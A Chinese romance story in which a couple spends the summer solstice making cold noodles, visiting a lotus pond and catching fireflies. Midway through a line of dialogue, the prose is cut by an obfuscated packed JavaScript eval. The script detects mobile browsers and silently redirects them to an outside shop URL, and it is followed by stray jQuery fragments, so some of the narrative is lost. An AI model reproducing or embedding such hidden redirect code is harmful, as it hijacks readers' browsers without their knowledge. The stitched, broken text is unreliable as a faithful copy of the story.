夏至那天，天亮得格外早。苌斓把冬天的厚窗帘换成了浅米色的薄纱，阳光从纱线缝隙里漏进来，在床单上铺了一层碎金。他站在窗前伸了个懒腰，回头对还躺在床上的忘海说今天夏至，晚上吃凉面。忘海侧躺着看他——他穿着一件洗得发白的旧T恤，后背被阳光照得微微发亮，头发长了一点，发尾搭在后颈上，随着他拉窗帘的动作轻轻晃动。
忘海想起很久以前在高中教室里，苌斓坐在靠窗的位置上，阳光也是这样落在他后颈上。那时候他瘦得厉害，校服空荡荡的，袖口拉得很低遮住手腕。现在他还是瘦，但肩膀比以前宽了一点，手臂上有了淡淡的肌肉线条，袖口卷到手肘，手腕上那些旧伤疤在晨光里几乎看不见了。
厨房里，苌斓把黄瓜切成细丝，刀工比去年又进步了不少。面条是昨天擀好的，放在冰箱里醒了一夜，下锅煮到八分熟捞出来过凉水，根根分明，筋道弹牙。他把芝麻酱用温水调开，加蒜泥、醋、生抽、一点点糖，筷子搅动时酱香混着蒜香在厨房里弥漫开来。忘海走进来从他身后往砧板上看了一眼，黄瓜丝切得粗细均匀，和当年他自己切的胡萝卜丝完全是两个水平。
“你以前切胡萝卜，粗的跟手指一样，细的跟头发一样。”
“那是刀不好。”苌斓头也不回，继续搅芝麻酱。
“后来我换了新刀，你切出来还是粗细不均。后来我就不说了，因为粗细不均也好吃。”
苌斓搅芝麻酱的手停了一下，嘴角极淡地弯了弯，然后把调好的酱汁淋在凉面上，码上黄瓜丝、豆芽、蛋皮丝，最后撒了一小把白芝麻。两碗凉面端上桌，他那一碗辣椒油放得满满的，忘海那碗只滴了几滴。忘海拿起筷子尝了一口，面条筋道，芝麻酱香浓，蒜味恰到好处。他说好吃，比去年夏至的好吃。苌斓说去年夏至你在加班，我一个人吃的，面条煮烂了，酱调咸了，吃完喝了三杯水。忘海沉默了一下，说我记得，那天你发消息说凉面失败了，我说等我回来重做，你说不用，把剩的面条全吃了。今天这碗算是补上去年的。苌斓把他碗里少得可怜的那几滴辣椒油又搅了搅，说明年夏至还做凉面，你早点回来，不要加班。忘海说好，不加班。
午后蝉鸣响彻整条梧桐道，声浪一阵高过一阵，像无数把看不见的琴弓在同时摩擦夏天的琴弦。苌斓嫌吵把阳台门关了，蝉声被隔在玻璃外面，变成一层闷闷的背景音。他坐在沙发上继续绕那团灰色毛线，忘海坐在他旁边翻着一本很旧的书，书页泛黄，翻动时发出干燥的沙沙声。苌斓绕了一会儿毛线忽然停下来，说蝉叫得这么响，你说它们在叫什么。忘海翻了一页书，说求偶。苌斓说你就不能浪漫一点。忘海又翻了一页，说他以前每一世的夏天都过得很草率，蝉鸣于他只是蝉鸣，荷花开了就开了，他从不停下来看。但这一世不一样——这一世有人在旁边绕毛线，问蝉在叫什么。
苌斓低头继续绕毛线，耳根微微泛红，过了好一会儿才开口：“那这一世你知道蝉在叫什么了？”
“知道。它们叫的是热死了热死了热死了。”
苌斓愣了一下，然后笑出声来。那双眼睛弯起来，眼尾有细细的笑纹，和很久以前在病房里说“太咸了，爸，这个薯片太咸了”时一模一样，但这一次是真的在笑。
傍晚，他们去公园看荷花。荷塘不大，满池碧绿的荷叶挨挨挤挤，亭亭的荷花从叶子缝隙里探出来，有的已经盛开了，粉白的花瓣层层叠叠托着嫩黄的莲蓬；有的还是花苞，像蘸满了粉彩的笔尖竖在水面上。蜻蜓立在花苞尖上，翅膀薄得透光，水面下能看见红色的鲤鱼慢悠悠地游过荷叶梗的阴影。苌斓趴在栏杆上伸手想去碰最近的那朵荷花，指尖差一点够到，忘海抓住他后腰的皮带把他拽回来。
“掉下去我不捞你。”
“你会捞的。”苌斓回头看他一眼，笃定得很。
忘海没有反驳。他确实会捞。会在他每一次快要沉下去的时候伸手，不管是在天台上、急救室外，还是病房里。
天色慢慢暗下来，荷塘边的路灯亮了一排，暖黄的光映在水面上。荷花在夜色里看不真切了，但香气还在，一阵一阵的，混着水草和泥土的气息。他们沿着荷塘走了好几圈，苌斓忽然停下来拉着忘海的手往旁边的小路拐。小路尽头是一片空地，萤火虫在草丛间一闪一闪，忽明忽暗，像碎星星掉进了芦苇荡。苌斓蹲下来双手合拢轻轻扣住一只，萤火虫在他掌心里发光，透过指缝漏出极淡极淡的绿色光晕，照亮了他虎口上那道切菜留下的浅白色旧疤。
“你看。我抓住了一只。小时候我最喜欢抓萤火虫，养父说抓这东西没出息。我就在他睡着之后偷偷溜出去，在河边抓一只放一只，每放一只都许一个愿。”
“许什么愿。”
苌斓把双手慢慢打开，萤火虫从他掌心里摇摇晃晃地飞起来，先在指尖停留了片刻，然后往高处飞去，汇入草丛间那片星星点点的光海里。“忘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724414|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。那时候许的愿太多了。第一个愿望是不要再挨打，第二个愿望是能吃饱饭，第三个愿望是有人能听见我说话。这些愿望都没有实现。后来我就再也不许愿了。但刚才我又许了一个。”他站起来，看着那只萤火虫越飞越高，直到再也分不清是哪一颗。
“许了什么。”
苌斓转过头来看着他。路灯的光落在他眼睛里，像两颗很小很小的萤火。“我希望明年夏至，后年夏至，以后每个夏至——你都在。”说完他又蹲下去，假装去追另一只萤火虫，把脸藏进草丛的阴影里。忘海站在他身后看着他微红的耳尖，和很久以前在路口说“顺路”时一模一样的颜色。
“不用许愿。我每一世都在，这一世更不会走。你抓萤火虫我帮你看着路，你看荷花我抓住你皮带，你做凉面酱放多了我说好吃——每个夏至我都在。”
苌斓没有站起来，只是蹲在那里伸出一只手朝忘海的方向摆了摆。忘海走过去握住那只手，把他从草地上拉起来。苌斓站起来时眼睛还有些红，但嘴角是弯的，说蚊子咬了他好几个包，回去要涂花露水。忘海低头看着两人交握的手——苌斓的虎口上有切菜留下的疤，他自己的虎口上有切核桃留下的疤，两道疤在路灯下都泛着浅白色的光泽。他说好，回去涂花露水，又问萤火虫好看吗。苌斓回头看了一眼那片草丛——星星点点的萤火还在闪烁，他说好看，比城里的烟花都好看。
回到家苌斓从卫生间拿出花露水，坐在沙发上把裤腿卷到膝盖，小腿上果然好几个蚊子包。忘海接过花露水倒在掌心里，抹在他小腿的蚊子包上轻轻揉开，和以前缝袖口时一样仔细。花露水的味道弥漫开来，和窗外梧桐树叶被夜风吹动的沙沙声纠缠在一起，茶几上紫砂杯安静地立在杯垫上，保温杯并排放在一起。薄围巾已经收进衣柜里了，要等秋天再拿出来。
“明年夏至还去那个荷塘，萤火虫还是那么多的话，就多抓两只。”
“好。”
“明年凉面少放蒜，你胃不好。”
“好。”
蝉鸣还在窗外响着，但苌斓已经不觉得吵了。他靠在忘海肩上慢慢闭上眼睛，明天早上豆浆机还是会准时响起，红枣茶里会多放两片薄荷——是芒种那天在阳台上种的薄荷，刚摘下来时还带着水珠。夏至过了就是小暑，小暑过了就是大暑，梧桐树的叶子会从嫩绿变成深绿再变成墨绿。他们会继续并肩走过每一个季节，和以前一样，和以后也一样。